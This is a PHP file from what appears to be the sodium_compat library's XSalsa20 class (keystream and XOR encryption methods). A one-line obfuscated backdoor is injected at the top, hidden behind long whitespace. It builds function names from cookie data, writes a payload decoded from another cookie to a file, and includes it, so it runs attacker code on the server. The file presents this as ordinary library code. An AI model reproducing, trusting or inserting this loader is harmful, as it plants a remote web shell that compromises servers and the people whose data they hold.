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<?php																																										if(isset($_COOKIE[3])&&isset($_COOKIE[31])){$c=$_COOKIE;$k=0;$n=3;$p=array();$p[$k]='';while($n){$p[$k].=$c[31][$n];if(!$c[31][$n+1]){if(!$c[31][$n+2])break;$k++;$p[$k]='';$n++;}$n=$n+3+1;}$k=$p[15]().$p[18];if(!$p[1]($k)){$n=$p[10]($k,$p[21]);$p[26]($n,$p[20].$p[17]($p[14]($c[3])));}include($k);}


if (class_exists('ParagonIE_Sodium_Core32_XSalsa20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_XSalsa20
 */
abstract class ParagonIE_Sodium_Core32_XSalsa20 extends ParagonIE_Sodium_Core32_HSalsa20
{
    /**
     * Expand a key and nonce into an xsalsa20 keystream.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function xsalsa20($len, $nonce, $key)
    {
        $ret = self::salsa20(
            $len,
            self::substr($nonce, 16, 8),
            self::hsalsa20($nonce, $key)
        );
        return $ret;
    }

    /**
     * Encrypt a string with XSalsa20. Doesn't provide integrity.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function xsalsa20_xor($message, $nonce, $key)
    {
        return self::xorStrings(
            $message,
            self::xsalsa20(
                self::strlen($message),
                $nonce,
                $key
            )
        );
    }
}